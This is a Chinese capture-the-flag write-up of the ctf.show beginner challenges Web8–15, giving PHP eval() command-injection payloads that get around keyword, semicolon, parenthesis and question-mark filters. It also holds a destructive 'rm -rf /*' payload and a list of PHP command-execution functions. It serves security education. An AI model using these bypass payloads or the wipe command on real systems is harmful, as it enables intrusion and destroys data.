ctf-show-萌新-Web8-15
Web8
根据题目提示,他要离开,说明要删库走人了。 ?flag=rm -rf /*
rm -rf /* 是Linux的一条指令,/*代表根目录下所有路径,作用是删除根目录下所有文件,也就是删除系统中的所有文件
格式:rm 指令 路径
Web9
这个正则是字符串中包含 system、exec、highlight才能执行eval() 中的参数&c
?c=highlight_file("config.php");
Web10
这题源码和Web9差不多,只是改变了if判断语句里的条件。
这题和上一题的eval()所包含正好相反,所以需要使用构造法来绕过
使用php多次定义,对system进行拼凑
c=$x='sys';$y='tem';$z=$x.$y;$z('cat config.php');
加载以上语句后,跳转到一个空白页面,此时要查看网页源码才能看到flag。
Web11
这题源码和Web10差不多,只是改变了preg_match()函数里的内容。
本题在上一题的基础上加了禁止cat绕过
linux中的tac、more、less、head、tail、nl、sed、sort、uniq.也可以绕过
c=$x='sys';$y='tem';$z=$x.$y;$z('more config.php');
当然单引号或者双引号或者反斜杠也可以绕过cat
ca't config.php
ca"t config.php
ca\t config.php
因为是以字符串的形式,所以用单引号还是双引号则要看你外层用的哪种了,不能产生错误
c=$x='sys';$y='tem';$z=$x.$y;$z('ca""t config.php');
加载以上语句后,跳转到一个空白页面,此时要查看网页源码才能看到flag.
Web12
这题源码和Web11差不多,只是改变了preg_match()函数里的内容。
这题 过滤了文件名,可以利用base64编解码,将文件名进行编码
c=$x=base64_decode("c3lzdGVt");$y=base64_decode("Y2F0IGNvbmZpZy5waHA=");$x($y);
c3lzdGVt --> system Y2F0IGNvbmZpZy5waHA -> cat config.php
加载以上语句后,跳转到一个空白页面,此时要查看网页源码才能看到flag.
系统命令执行函数
system()
passthru()
exec()
shell_exec()
popen()
proc_open()
pcntl_exec()
在linux中反引号的作用就是将反引号内的Linux命令先执行,然后将执行结果赋予变量。
比如 cat `ls` 相当于将 ls出来的结果cat。
c=passthru("ca''t `ls`");
执行这些命令执行函数语句一样可以得到flag
Web13
这题源码和Web12差不多,只是改变了preg_match()函数里的内容。
这题是在之前题目的基础上过滤了分号,只能执行一条语句,可以用以上PHP中的命令执行函数(这些函数是有格式的,也就是参数不同),可以使用?>
闭合语句。
c=passthru("ca''t `ls`")?>
加载以上语句后,跳转到一个空白页面,此时要查看网页源码才能看到flag.
Web14
这题源码和Web13差不多,只是改变了preg_match()函数里的内容。
这题是在之前题目的基础上过滤了括号
所以可以是以post方式传入a=cat config.php
?c=echo `$_POST[1]`?> 注意POST是大写,不然flag出不来
post传入 1=cat config.php
加载以上语句后,跳转到一个空白页面,此时要查看网页源码才能看到flag.
Web15
这题源码和Web14差不多,只是改变了preg_match()函数里的内容。
这题是在之前题目的基础上过滤了问号,但未过滤分号
所以可以是以post方式传入a=cat config.php
?c=echo `$_POST[1]`; 注意POST是大写,不然flag出不来
post传入 1=cat config.php
加载以上语句后,跳转到一个空白页面,此时要查看网页源码才能看到flag.